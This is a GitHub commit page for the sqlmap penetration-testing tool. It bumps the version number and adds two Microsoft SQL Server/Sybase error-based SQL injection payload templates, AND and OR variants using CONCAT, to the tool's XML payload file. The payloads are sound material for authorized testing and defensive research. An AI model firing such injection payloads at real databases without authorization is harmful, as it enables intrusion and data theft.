Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 439fff6

Browse files
committed
Minor update (MSSQL CONCAT payload)
1 parent 72cf061 commit 439fff6

2 files changed

Lines changed: 43 additions & 1 deletion

File tree

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
from lib.core.revision import getRevisionNumber
2020

2121
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
22-
VERSION = "1.0.5.18"
22+
VERSION = "1.0.5.19"
2323
REVISION = getRevisionNumber()
2424
STABLE = VERSION.count('.') <= 2
2525
VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")

xml/payloads/02_error_based.xml

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -388,6 +388,48 @@
388388
</details>
389389
</test>
390390

391+
<test>
392+
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)</title>
393+
<stype>2</stype>
394+
<level>2</level>
395+
<risk>1</risk>
396+
<clause>1,9</clause>
397+
<where>1</where>
398+
<vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
399+
<request>
400+
<payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
401+
</request>
402+
<response>
403+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
404+
</response>
405+
<details>
406+
<dbms>Microsoft SQL Server</dbms>
407+
<dbms>Sybase</dbms>
408+
<os>Windows</os>
409+
</details>
410+
</test>
411+
412+
<test>
413+
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)</title>
414+
<stype>2</stype>
415+
<level>3</level>
416+
<risk>3</risk>
417+
<clause>1,9</clause>
418+
<where>2</where>
419+
<vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
420+
<request>
421+
<payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
422+
</request>
423+
<response>
424+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
425+
</response>
426+
<details>
427+
<dbms>Microsoft SQL Server</dbms>
428+
<dbms>Sybase</dbms>
429+
<os>Windows</os>
430+
</details>
431+
</test>
432+
391433
<test>
392434
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title>
393435
<stype>2</stype>

0 commit comments

Comments
 (0)